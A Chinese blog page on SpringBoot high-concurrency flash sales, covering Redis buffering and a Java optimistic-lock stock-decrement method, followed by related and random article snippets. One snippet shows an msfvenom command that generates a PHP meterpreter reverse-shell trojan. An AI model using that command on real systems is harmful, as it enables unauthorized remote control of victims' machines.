重学SpringBoot. step7 高并发 秒杀
高并发
高并发最容易出现的问题就是数据安全能不能得到保障。
你需要保证速度,又需要保证数据安全,那么速度也必然会有所下降。
所以最简单的办法就是提升硬件。或者把Mysql换成MongoDB,加个Redis,等等。
其实最好的办法就是加Redis,因为你的资料的占用时间不会太长,也就没有什么影响,任务可以等到后面再处理数据。
书上的思路上,先把数据存到Redis,然后再凌晨一点时候,没有什么人的时候,再用空余的资源去处理这些数据。
但要思考的还是数据安全的问题,Redis万一挂了怎么办?当然这些问题不是高并发目标要解决的问题。
现在是使用SpringBoot相关的技术来实现一个1000到2000的并发的解决方案。
我在实操的时候,2000的并发,会有600多是服务器无法处理的,因为超时了,等等。整体而言就是反应不过来,服务器如果不用缓存技术,除非提升硬件,那么根本处理不过来。
集群?是个好办法,建议把服务器全升级到线程撕裂者。然后配一百个集群。
直接用Redis
业务需求:秒杀抢购
思路:获取库存,然后判断Redis列表内的数量是否等于库存,如果不等于,就添加,如果等于,就是抢购失败。
缓存后的数据直接用消息队列控制主机的服务来处理这些数据。单机的话,可以用定时器到凌晨1点,再用空余的资源来解决这些问题。
代码实现可能都不用看了。
不过我之前学的时候,还有一种方案是引入这个任务队列,不过我好像没学会用Netty怎么来操作这种秒杀。那样就更为底层了。
下面是传统的基于版本号的秒杀。
public boolean buyId(Integer id) {
long start = System.currentTimeMillis();
while (true) {
long end = System.currentTimeMillis();
if((end - start) > 100) return false;
Product product = this.getById(id);
if(product.getStock() < 1){
return false;
}
// 指定 delete Flag为 version吧
int version = product.getDeleteFlag();
product.setStock(product.getStock()-1);
product.setDeleteFlag(version+1);
boolean result = this.update(product,new QueryWrapper<Product>().lambda().eq(Product::getId,product.getId()).eq(Product::getDeleteFlag,product.getDeleteFlag()-1));
if(!result) continue;
return true;
}
}
重学SpringBoot. step7 高并发 秒杀的更多相关文章
- Java高并发秒杀系统API之SSM框架集成swagger与AdminLTE
初衷与整理描述 Java高并发秒杀系统API是来源于网上教程的一个Java项目,也是我接触Java的第一个项目.本来是一枚c#码农,公司计划部分业务转java,于是我利用业务时间自学Java才有了本文 ...
- SSM框架学习之高并发秒杀业务--笔记5-- 并发优化
前几节终于实现了这个高并发秒杀业务,现在问题是如何优化这个业务使其能扛住一定程度的并发量. 一. 优化分析 对于整个业务来说,首先是分析哪些地方会出现高并发,以及哪些地方会影响到了业务的性能.可能会出 ...
- SSM框架学习之高并发秒杀业务--笔记1-- 项目的创建和依赖
在慕课网上看了Java高并发秒杀API视屏后,觉得这个案例真的让我学到了很多,现在重新自己实现一遍,博客记下,顺便分析其中的要点. 第一步是项目的创建和依赖 利用Maven去创建工程然后导入Idea中 ...
- Java高并发秒杀系统【观后总结】
项目简介 在慕课网上发现了一个JavaWeb项目,内容讲的是高并发秒杀,觉得挺有意思的,就进去学习了一番. 记录在该项目中学到了什么玩意.. 该项目源码对应的gitHub地址(由观看其视频的人编写,并 ...
- Java高并发秒杀API之Service层
Java高并发秒杀API之Service层 第1章 秒杀业务接口设计与实现 1.1service层开发之前的说明 开始Service层的编码之前,我们首先需要进行Dao层编码之后的思考:在Dao层我们 ...
- PHP 高并发秒杀解决方案
本文提供 PHP 高并发秒杀解决方案(附加三个案例说明(普通流程,使用文件锁,使用redis消息队列)) 1:(正常流程,不做任何高并发处理),代码如下: <?php $_mysqli = ne ...
- Java高并发秒杀API之业务分析与DAO层
根据慕课网上关于java高并发秒杀API的课程讲解用maven+ssm+redis实现的一个秒杀系统 参考了codingXiaxw's blog,很详细:http://codingxiaxw.cn/2 ...
- imooc课程:Java高并发秒杀API 记录
Java高并发秒杀API之业务分析与DAO层 Java高并发秒杀API之Service层 Java高并发秒杀API之web层 Java高并发秒杀API之高并发优化 除了并发部分外的这个web开发的总结 ...
- 2017.4.26 慕课网--Java 高并发秒杀API(一)
Java高并发秒杀API系列(一) -----------------业务分析及Dao层 第一章 课程介绍 1.1 内容介绍及业务分析 (1)课程内容 SSM框架的整合使用 秒杀类系统需求理解和实现 ...
- 【高并发】Redis如何助力高并发秒杀系统,看完这篇我彻底懂了!!
写在前面 之前,我们在<[高并发]高并发秒杀系统架构解密,不是所有的秒杀都是秒杀!>一文中,详细讲解了高并发秒杀系统的架构设计,其中,我们介绍了可以使用Redis存储秒杀商品的库存数量.很 ...
随机推荐
- .NET实现堆排序
堆排序及相关知识 堆排序 堆排序是利用堆这种数据结构而设计的一种排序算法,堆排序是一种选择排序,它的最坏,最好,平均时间复杂度均为O(nlogn),它也是不稳定排序.首先简单了解下堆结构. 堆 堆是具 ...
- 6、将两个字符串连接起来,不使用strcat函数
/* 将两个字符串连接起来,不使用strcat函数 */ #include <stdio.h> #include <stdlib.h> void strCat(char *pS ...
- 谁说.NET没有GC调优?只改一行代码就让程序不再占用内存
经常看到有群友调侃"为什么搞Java的总在学习JVM调优?那是因为Java烂!我们.NET就不需要搞这些!"真的是这样吗?今天我就用一个案例来分析一下. 昨天,一位学生问了我一个问 ...
- TornadoFx的TableView组件使用
原文: TornadoFx的TableView组件使用 - Stars-One的杂货小窝 最近慢慢地接触了JavaFx中的TableView的使用,记下笔记总结 使用 1.基本使用 TornadoFx ...
- 《MySQL必知必会》知识汇总一
一.使用MYSQL 展示所有数据库 show databases; 选择数据库 use crashcourse; 展示该数据库中所有的表 show tables; 还可以展示表列的shema约束 sh ...
- 出现报错:The field admin.LogEntry.user was declared with a lazy reference to 'api.user', but app 'api' isn't installed.解决方法
- 监控Windows(生成php木马)
sudo su 生成木马: msfvenom --platform php -p php/meterpreter/reverse_tcp lhost=192.168.1.9 lport=55555 R ...
- python + mysql +djagno +unittest 实现WEB、APP UI自动化测试平台--------(一)基础表
from django.db import models # Create your models here. class DictConfig(models.Model): "" ...
- ob_aes_饭团影视
网站 'aHR0cHM6Ly93d3cuZmFudHVhbmhkLmNvbS9wbGF5L2lkLTExNzctMS0xLmh0bWw=' 搜索mp4,找这个链接从哪来的 打开之后会有明显奇怪的参数 ...
- echarts去除下载小图标
toolbox: { show: true, orient: 'vertical', left: 'right', top: 'center', feature: { dataView: { read ...